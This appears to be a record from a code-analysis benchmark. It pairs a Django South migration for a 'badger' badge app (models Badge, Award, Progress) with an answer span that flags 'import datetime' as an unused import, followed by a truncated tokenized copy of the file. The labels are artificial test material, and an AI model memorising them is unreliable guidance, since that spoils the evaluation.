{'object_name': 'User'},\n 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),\n 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': \"orm['auth.Group']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'password': ('django.db.models.fields.CharField', [], {'max_length': '255'}),\n 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': \"orm['auth.Permission']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})\n },\n 'badger.award': {\n 'Meta': {'object_name': 'Award'},\n 'badge': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['badger.Badge']\"}),\n 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),\n 'creator': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': \"'award_creator'\", 'null': 'True', 'to': \"orm['auth.User']\"}),\n 'hidden': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),\n 'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),\n 'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'award_user'\", 'to': \"orm['auth.User']\"})\n },\n 'badger.badge': {\n 'Meta': {'unique_together': \"(('title', 'slug'),)\", 'object_name': 'Badge'},\n 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),\n 'creator': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['auth.User']\", 'null': 'True', 'blank': 'True'}),\n 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),\n 'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),\n 'prerequisites': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': \"orm['badger.Badge']\", 'null': 'True', 'blank': 'True'}),\n 'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50', 'db_index': 'True'}),\n 'title': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}),\n 'unique': ('django.db.models.fields.BooleanField', [], {'default': 'False'})\n },\n 'badger.progress': {\n 'Meta': {'unique_together': \"(('badge', 'user'),)\", 'object_name': 'Progress'},\n 'badge': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['badger.Badge']\"}),\n 'counter': ('django.db.models.fields.FloatField', [], {'default': '0', 'null': 'True', 'blank': 'True'}),\n 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),\n 'notes': ('badger.models.JSONField', [], {'null': 'True', 'blank': 'True'}),\n 'percent': ('django.db.models.fields.FloatField', [], {'default': '0'}),\n 'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'progress_user'\", 'to': \"orm['auth.User']\"})\n },\n 'contenttypes.contenttype': {\n 'Meta': {'ordering': \"('name',)\", 'unique_together': \"(('app_label', 'model'),)\", 'object_name': 'ContentType', 'db_table': \"'django_content_type'\"},\n 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})\n }\n }\n\n complete_apps = ['badger']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 6 }, { "content": " def forwards(self, orm):\n \n # Adding model 'Badge'\n db.create_table('badger_badge', (\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('title', self.gf('django.db.models.fields.CharField')(unique=True, max_length=255)),\n ('slug', self.gf('django.db.models.fields.SlugField')(unique=True, max_length=50, db_index=True)),\n ('description', self.gf('django.db.models.fields.TextField')(blank=True)),\n ('image', self.gf('django.db.models.fields.files.ImageField')(max_length=100, null=True, blank=True)),\n ('unique', self.gf('django.db.models.fields.BooleanField')(default=False)),\n ('creator', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['auth.User'], null=True, blank=True)),\n ('created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)),\n ('modified', self.gf('django.db.models.fields.DateTimeField')(auto_now=True, blank=True)),\n ))\n db.send_create_signal('badger', ['Badge'])\n\n # Adding unique constraint on 'Badge', fields ['title', 'slug']\n db.create_unique('badger_badge', ['title', 'slug'])\n\n # Adding M2M table for field prerequisites on 'Badge'\n db.create_table('badger_badge_prerequisites', (\n ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),\n ('from_badge', models.ForeignKey(orm['badger.badge'], null=False)),\n ('to_badge', models.ForeignKey(orm['badger.badge'], null=False))\n ))\n db.create_unique('badger_badge_prerequisites', ['from_badge_id', 'to_badge_id'])\n\n # Adding model 'Award'\n db.create_table('badger_award', (\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('badge', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['badger.Badge'])),\n ('image', self.gf('django.db.models.fields.files.ImageField')(max_length=100, null=True, blank=True)),\n ('user', self.gf('django.db.models.fields.related.ForeignKey')(related_name='award_user', to=orm['auth.User'])),\n ('creator', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='award_creator', null=True, to=orm['auth.User'])),\n ('hidden', self.gf('django.db.models.fields.BooleanField')(default=False)),\n ('created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)),\n ('modified', self.gf('django.db.models.fields.DateTimeField')(auto_now=True, blank=True)),\n ))\n db.send_create_signal('badger', ['Award'])\n\n # Adding model 'Progress'\n db.create_table('badger_progress', (\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('badge', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['badger.Badge'])),\n ('user', self.gf('django.db.models.fields.related.ForeignKey')(related_name='progress_user', to=orm['auth.User'])),\n ('percent', self.gf('django.db.models.fields.FloatField')(default=0)),\n ('counter', self.gf('django.db.models.fields.FloatField')(default=0, null=True, blank=True)),\n ('notes', self.gf('badger.models.JSONField')(null=True, blank=True)),\n ('created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)),\n ('modified', self.gf('django.db.models.fields.DateTimeField')(auto_now=True, blank=True)),\n ))\n db.send_create_signal('badger', ['Progress'])\n\n # Adding unique constraint on 'Progress', fields ['badge', 'user']\n db.create_unique('badger_progress', ['badge_id', 'user_id'])", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 8 }, { "content": " def backwards(self, orm):\n \n # Removing unique constraint on 'Progress', fields ['badge', 'user']\n db.delete_unique('badger_progress', ['badge_id', 'user_id'])\n\n # Removing unique constraint on 'Badge', fields ['title', 'slug']\n db.delete_unique('badger_badge', ['title', 'slug'])\n\n # Deleting model 'Badge'\n db.delete_table('badger_badge')\n\n # Removing M2M table for field prerequisites on 'Badge'\n db.delete_table('badger_badge_prerequisites')\n\n # Deleting model 'Award'\n db.delete_table('badger_award')\n\n # Deleting model 'Progress'\n db.delete_table('badger_progress')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 65 } ]
[ { "span": "import datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "encoding", ":", " ", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Schema", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", ".", "group", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Group", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "80", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", ".", "permissi", "on", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "content", "\\u", "type\\u\\u", "app", "\\u", "label", "',", " ", "'", "content", "\\u", "type\\u\\u", "model", "',", " ", "'", "code", "name", "')\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "content", "\\u", "type", "',", " ", "'", "code", "name", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Permi", "ssion", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "code", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", ".", "user", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "User", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "\\u", "joine", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Ema", "il", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "7", "5", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "first", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "Group", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "active", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "sta", "ff", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "super", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "login", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "badge", "r", ".", "award", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Award", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "badge", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "badge", "r", ".", "Badge", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "\\u", "add", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "creat", "or", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "award", "\\u", "creat", "or", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hidden", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "image", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "Image", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "modifi", "ed", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "award", "\\u", "user", "'\"_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "badge", "r", ".", "badge", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "title", "',", " ", "'", "slug", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Badge", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "\\u", "add", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "creat", "or", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "User", "']\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "image", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "Image", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "modifi", "ed", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "prerequisite", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "badge", "r", ".", "Badge", "']\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "slug", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Sl", "ug", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", ",_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "unique", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "badge", "r", ".", "progress", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "badge", "',", " ", "'", "user", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Progres", "s", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "badge", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "badge", "r", ".", "Badge", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "counter", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Float", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "\\u", "add", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "modifi", "ed", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "note", "s", "'_", ":_", "(_", "'", "badge", "r", ".", "model", "s", ".", "JSO", "NF", "iel", "d", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "percent", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Float", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "progress", "\\u", "user", "'\"_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "User", 